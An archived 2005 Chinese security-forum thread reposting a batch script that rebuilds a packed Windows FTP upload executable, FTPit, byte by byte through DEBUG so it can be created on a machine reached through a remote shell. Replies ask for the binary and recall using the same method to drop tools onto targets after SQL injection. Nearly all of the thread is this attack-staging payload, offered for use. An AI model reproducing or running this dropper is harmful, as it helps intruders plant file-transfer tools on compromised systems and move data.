邪恶八进制信息安全团队技术讨论组's Archiver

vikxeo 2005-8-22 07:18

[转载]体积小的上传工具FTPit.exe的一个事例

信息来源：邪恶八进制信息安全团队（[url]www.eviloctal.com[/url]）
引贴地址：[url]http://www.governmentsecurity.org/forum/index.php?showtopic=14202[/url]

The size of the proggie make it easy and possible to create it on the pc through a shell executing the following lines...
[code]
ECHO echo n ftpit.sys ^>^>1>>ftpit.bat
ECHO echo e 100 4D 5A 0 0 0 0 0 0 0 0 0 0 50 45 0 0  ^>^>1>>ftpit.bat
ECHO echo e 110 4C 1 2 0 46 53 47 21 0 0 0 0 0 0 0 0  ^>^>1>>ftpit.bat
ECHO echo e 120 E0 0 F 1 B 1 0 0 0 4 0 0 0 8 0 0  ^>^>1>>ftpit.bat
ECHO echo e 130 0 0 0 0 54 1 0 0 0 10 0 0 C 0 0 0  ^>^>1>>ftpit.bat
ECHO echo e 140 0 0 40 0 0 10 0 0 0 2 0 0 4 0 0 0  ^>^>1>>ftpit.bat
ECHO echo e 150 0 0 0 0 4 0 0 0 0 0 0 0 0 60 0 0  ^>^>1>>ftpit.bat
ECHO echo e 160 0 2 0 0 0 0 0 0 3 0 0 0 0 0 10 0  ^>^>1>>ftpit.bat
ECHO echo e 170 0 10 0 0 0 0 10 0 0 10 0 0 0 0 0 0  ^>^>1>>ftpit.bat
ECHO echo e 180 10 0 0 0 0 0 0 0 0 0 0 0 E0 53 0 0  ^>^>1>>ftpit.bat
ECHO echo e 190 84 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0  ^>^>1>>ftpit.bat
ECHO echo e 1A0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0  ^>^>1>>ftpit.bat
ECHO echo e 1B0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0  ^>^>1>>ftpit.bat
ECHO echo e 1C0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0  ^>^>1>>ftpit.bat
ECHO echo e 1D0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0  ^>^>1>>ftpit.bat
ECHO echo e 1E0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0  ^>^>1>>ftpit.bat
ECHO echo e 1F0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0  ^>^>1>>ftpit.bat
ECHO echo e 200 0 0 0 0 0 0 0 0 0 0 0 0 0 40 0 0  ^>^>1>>ftpit.bat
ECHO echo e 210 0 10 0 0 0 0 0 0 0 0 0 0 0 0 0 0  ^>^>1>>ftpit.bat
ECHO echo e 220 0 0 0 0 0 0 0 0 E0 0 0 C0 0 0 0 0  ^>^>1>>ftpit.bat
ECHO echo e 230 0 0 0 0 0 10 0 0 0 50 0 0 61 4 0 0  ^>^>1>>ftpit.bat
ECHO echo e 240 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0  ^>^>1>>ftpit.bat
ECHO echo e 250 E0 0 0 C0 87 25 24 54 40 0 61 94 55 A4 B6 80  ^>^>1>>ftpit.bat
ECHO echo e 260 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F  ^>^>1>>ftpit.bat
ECHO echo e 270 B6 80 41 B0 10 FF 13 12 C0 73 FA 75 3A AA EB E0  ^>^>1>>ftpit.bat
ECHO echo e 280 FF 53 8 2 F6 83 D9 1 75 E FF 53 4 EB 24 AC  ^>^>1>>ftpit.bat
ECHO echo e 290 D1 E8 74 2D 13 C9 EB 18 91 48 C1 E0 8 AC FF 53  ^>^>1>>ftpit.bat
ECHO echo e 2A0 4 3B 43 F8 73 A 80 FC 5 73 6 83 F8 7F 77 2  ^>^>1>>ftpit.bat
ECHO echo e 2B0 41 41 95 8B C5 B6 0 56 8B F7 2B F0 F3 A4 5E EB  ^>^>1>>ftpit.bat
ECHO echo e 2C0 9F 5E AD 97 AD 50 FF 53 10 95 8B 7 40 78 F3 75  ^>^>1>>ftpit.bat
ECHO echo e 2D0 3 FF 63 C 50 55 FF 53 14 AB EB EE 33 C9 41 FF  ^>^>1>>ftpit.bat
ECHO echo e 2E0 13 13 C9 FF 13 72 F8 C3 2 D2 75 5 8A 16 46 12  ^>^>1>>ftpit.bat
ECHO echo e 2F0 D2 C3 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 0 0  ^>^>1>>ftpit.bat
ECHO echo e 300 68 1C 80 32 40 1 6A 1 E8 4 2 C3 85 5E C 9F  ^>^>1>>ftpit.bat
ECHO echo e 310 DC 71 14 3D C8 B8 8 1B 76 9 31 CE 1D 0 EB 1F  ^>^>1>>ftpit.bat
ECHO echo e 320 B C0 75 1B 68 A 65 30 3D F0 4 28 18 31 4C E6  ^>^>1>>ftpit.bat
ECHO echo e 330 15 6A CC E A7 43 68 E0 33 CF 8B 2 8A BF C CF  ^>^>1>>ftpit.bat
ECHO echo e 340 4D 97 15 A 35 21 BB 64 B1 62 72 11 80 8 3 F8  ^>^>1>>ftpit.bat
ECHO echo e 350 8A AC C F4 62 A7 35 90 86 B2 7C 31 3D 53 5E 34  ^>^>1>>ftpit.bat
ECHO echo e 360 3E 6B 4 2B 55 C 3D 29 2D 35 E4 51 2C 47 8C 55  ^>^>1>>ftpit.bat
ECHO echo e 370 8 5E 3 35 5 E2 20 B3 C D3 F8 85 38 35 1C 85  ^>^>1>>ftpit.bat
ECHO echo e 380 91 12 8E D3 11 D1 63 43 9D 43 D7 56 21 38 7 54  ^>^>1>>ftpit.bat
ECHO echo e 390 25 AE 88 55 8B A EC 83 C4 F0 46 45 D6 A 5E BA  ^>^>1>>ftpit.bat
ECHO echo e 3A0 46 1E CC A1 21 2 34 70 C 1C A0 59 89 1C 45 FC  ^>^>1>>ftpit.bat
ECHO echo e 3B0 8D C6 F4 50 68 17 48 8 59 C FF 75 10 6 C F0  ^>^>1>>ftpit.bat
ECHO echo e 3C0 15 DF A 70 6 FC E8 79 AC 91 14 E 68 E0 41 22  ^>^>1>>ftpit.bat
ECHO echo e 3D0 8B 39 EB 3D 30 D 66 F8 68 8 A1 73 7A 48 52 2  ^>^>1>>ftpit.bat
ECHO echo e 3E0 CC 56 18 6 14 80 F8 E8 56 3C 31 28 55 20 44 5A  ^>^>1>>ftpit.bat
ECHO echo e 3F0 EB 72 C 7E A 50 29 E 4C 8A 4 24 1E 50 5D 22  ^>^>1>>ftpit.bat
ECHO echo e 400 16 19 C9 C2 14 18 25 C0 20 40 C8 D 4 64 1C 32  ^>^>1>>ftpit.bat
ECHO echo e 410 18 19 24 D EE 28 D2 83 81 C4 7C FE EF E0 56 57  ^>^>1>>ftpit.bat
ECHO echo e 420 E8 78 8A 21 B6 33 C9 8B 98 8A AC E2 74 7 E8 22  ^>^>1>>ftpit.bat
ECHO echo e 430 F2 F7 3 41 EB F4 51 D1 E9 90 E1 58 3B 1 C1 74  ^>^>1>>ftpit.bat
ECHO echo e 440 B 5F 5E B8 3 53 5D 8 86 49 1B 8D BD 3C 70 95  ^>^>1>>ftpit.bat
ECHO echo e 450 F 2A 9 3C BF 81 2 B0 20 AA EB F2 CC 8D 85 A0  ^>^>1>>ftpit.bat
ECHO echo e 460 15 8B F0 E4 F8 D8 33 2A EB 1B CD 8B 3 32 99 7  ^>^>1>>ftpit.bat
ECHO echo e 470 EF 22 20 94 4D FE 11 88 E1 A3 2D B4 94 23 83 B9  ^>^>1>>ftpit.bat
ECHO echo e 480 70 B7 C0 4B 74 FB 3B 4D 8 EA 15 A1 59 1D 95 67  ^>^>1>>ftpit.bat
ECHO echo e 490 A 13 30 41 1D F EB E6 50 AA D 7 D8 19 87 F4  ^>^>1>>ftpit.bat
ECHO echo e 4A0 B0 E1 FF 3 55 73 11 8B 7D C 1A 17 B8 2 7F 8  ^>^>1>>ftpit.bat
ECHO echo e 4B0 A2 9D 4D B0 A0 A0 58 D0 33 46 37 D E6 47 F7 85  ^>^>1>>ftpit.bat
ECHO echo e 4C0 FE 63 A3 EE 9D 10 BB 16 7E A4 CE 47 4 79 57 1  ^>^>1>>ftpit.bat
ECHO echo e 4D0 3C 38 CC C8 E6 C0 F4 6A F5 E8 6D 93 C7 2A B4 F6  ^>^>1>>ftpit.bat
ECHO echo e 4E0 24 AB B 6A 2A B6 A4 1B 50 22 CC 9C C8 51 89 8B  ^>^>1>>ftpit.bat
ECHO echo e 4F0 B2 24 70 4 2D 2 13 3C 53 7 22 8 8D 50 3 90  ^>^>1>>ftpit.bat
ECHO echo e 500 18 83 C0 4 F1 FC FF FE C0 2 F7 D3 23 CB 81 22  ^>^>1>>ftpit.bat
ECHO echo e 510 E1 80 3E 74 E9 36 C1 C 68 3B 75 6 FA 60 10 40  ^>^>1>>ftpit.bat
ECHO echo e 520 2 D0 E1 1B 28 C2 5B 3E A1 8E C 23 94 2A 8 6  ^>^>1>>ftpit.bat
ECHO echo e 530 45 10 1A 1 BB BA 2F 95 86 5A A3 9 20 2F 21 44  ^>^>1>>ftpit.bat
ECHO echo e 540 1D 3F 8A F8 83 33 7F CB 29 BD 22 9 F5 45 E1 B9  ^>^>1>>ftpit.bat
ECHO echo e 550 29 F0 89 AE 12 18 22 4 21 F9 92 9F 80 29 96 DD  ^>^>1>>ftpit.bat
ECHO echo e 560 0 45 78 69 74 50 72 E 6F 63 65 73 39 1D 6C DB  ^>^>1>>ftpit.bat
ECHO echo e 570 EF CE 9E CC 6E 41 14 6B ED E7 BF 9F E1 33 32 2E  ^>^>1>>ftpit.bat
ECHO echo e 580 64 D7 B5 0 28 46 74 70 50 75 E9 D9 69 B7 3C 3B  ^>^>1>>ftpit.bat
ECHO echo e 590 3 49 6E FD 1D 20 5F 43 CF 6F 73 27 48 61 ED 4A  ^>^>1>>ftpit.bat
ECHO echo e 5A0 FE 9C 16 79 6F CF C 63 9A 52 16 14 28 4F 70 57  ^>^>1>>ftpit.bat
ECHO echo e 5B0 3F 77 69 F2 D1 1B 55 32 75 74 72 94 60 50 47 37  ^>^>1>>ftpit.bat
ECHO echo e 5C0 6D E3 99 97 4C 45 41 48 12 53 E5 FA BB 5D 81 57  ^>^>1>>ftpit.bat
ECHO echo e 5D0 72 47 AA 9A 81 4E 15 1 EE FB A0 46 54 50 3 69  ^>^>1>>ftpit.bat
ECHO echo e 5E0 74 20 31 2E 30 87 54 5F 6A C1 D A 7C 20 F D1  ^>^>1>>ftpit.bat
ECHO echo e 5F0 58 D1 1A F2 7C 9F 36 83 43 6F 64 65 97 F3 49 6E  ^>^>1>>ftpit.bat
ECHO echo e 600 F8 4D 41 53 E7 A A1 62 79 FC 69 6C E2 77 D9 9  ^>^>1>>ftpit.bat
ECHO echo e 610 18 2D FD 78 1D E0 40 79 1C 61 68 6F 4E 2E 63 8A  ^>^>1>>ftpit.bat
ECHO echo e 620 6D 36 C8 D7 D7 37 6D 5 20 3F 1 1 55 53 41 47  ^>^>1>>ftpit.bat
ECHO echo e 630 45 3A A1 46 E2 87 2E 65 78 21 20 3C 73 BC 12 34  ^>^>1>>ftpit.bat
ECHO echo e 640 3E E B9 3C 63 F 70 61 C7 98 87 6C 6F 63 9E 8A  ^>^>1>>ftpit.bat
ECHO echo e 650 66 94 20 1A 75 72 7E 6D D1 46 D 6C 72 66 3A 91  ^>^>1>>ftpit.bat
ECHO echo e 660 1F 41 39 32 2E D0 36 38 DB 8 4 E2 6F 5E 8B 3A  ^>^>1>>ftpit.bat
ECHO echo e 670 EE 82 46 61 6D A2 A 63 3A 5C 62 C5 34 BA B8 98  ^>^>1>>ftpit.bat
ECHO echo e 680 7C 3D 70 75 BC 6C F 63 5F 68 CE 6D EA 2F 15 CD  ^>^>1>>ftpit.bat
ECHO echo e 690 88 1B A2 4B 99 DA 8A 32 67 2E 1 72 36 26 38 45  ^>^>1>>ftpit.bat
ECHO echo e 6A0 72 B9 6F E8 B6 2C EF 7D 7F FE A4 B9 53 2E 4E A7  ^>^>1>>ftpit.bat
ECHO echo e 6B0 35 64 3E 21 4B 97 EE E1 53 75 63 3A 4E 9E 66 FF  ^>^>1>>ftpit.bat
ECHO echo e 6C0 3E C8 89 6 54 72 61 6E 16 83 FD 43 68 75 A2 74  ^>^>1>>ftpit.bat
ECHO echo e 6D0 9B 20 ED 15 77 6 43 53 46 1 FA AB 98 0 0 0  ^>^>1>>ftpit.bat
ECHO echo e 6E0 38 54 0 0 0 0 0 0 0 0 0 0 F2 1 0 0  ^>^>1>>ftpit.bat
ECHO echo e 6F0 38 54 0 0 0 0 0 0 0 0 0 0 0 0 0 0  ^>^>1>>ftpit.bat
ECHO echo e 700 0 0 0 0 0 0 0 0 0 10 40 0 0 50 40 0  ^>^>1>>ftpit.bat
ECHO echo e 710 2C 20 40 0 0 0 0 0 28 54 40 0 80 0 0 0  ^>^>1>>ftpit.bat
ECHO echo e 720 0 7D 0 0 8 54 40 0 E8 1 40 0 DC 1 40 0  ^>^>1>>ftpit.bat
ECHO echo e 730 DE 1 40 0 0 10 40 0 42 54 0 0 50 54 0 0  ^>^>1>>ftpit.bat
ECHO echo e 740 0 0 0 0 4C 6F 61 64 4C 69 62 72 61 72 79 41  ^>^>1>>ftpit.bat
ECHO echo e 750 0 0 47 65 74 50 72 6F 63 41 64 64 72 65 73 73  ^>^>1>>ftpit.bat
ECHO echo e 760 0 0  ^>^>1>>ftpit.bat
ECHO echo rcx ^>^>1>>ftpit.bat
ECHO echo 661 ^>^>1>>ftpit.bat
ECHO echo w ^>^>1>>ftpit.bat
ECHO echo q ^>^>1>>ftpit.bat
ECHO debug ^<1^>nul>> ftpit.bat
ECHO rename ftpit.sys ftpit.exe >>ftpit.bat
[/code]

水手 2005-8-23 01:16

有没有EXE版本的，看看好用到那去。

vikxeo 2005-8-23 11:23

[quote][b]下面是引用水手于2005-08-23 01:16发表的:[/b]
有没有EXE版本的，看看好用到那去。[/quote]


EXE版本 :
[url]http://www.eviloctal.com/forum/read.php?tid=13621&fpage=1[/url]

pc逍遥鼠 2005-8-23 20:04

ftpti是个什么东西，我不知道，我是菜鸟，所以我想请教一下，这个不算是恶意灌水吧

黑病毒 2005-8-23 22:49

楼主用这种方法分解FPipev程序，的确是爽，在去年的时候sql注入攻击火的时候这一问题也讲过，这个分解程序写到对方硬盘上，在cmd下最后生成原形文件。呵，当时用的时候感觉有点像黑客帝国里面的数据流画面。
我在附上一个FPipev2.1的。昨天晚上从国外下载的。
是不是这个程序，有点忘了。呵。如果不对，那就对不起大家了。自行看一下。

页: [1]
© 1999-2008 EvilOctal Security Team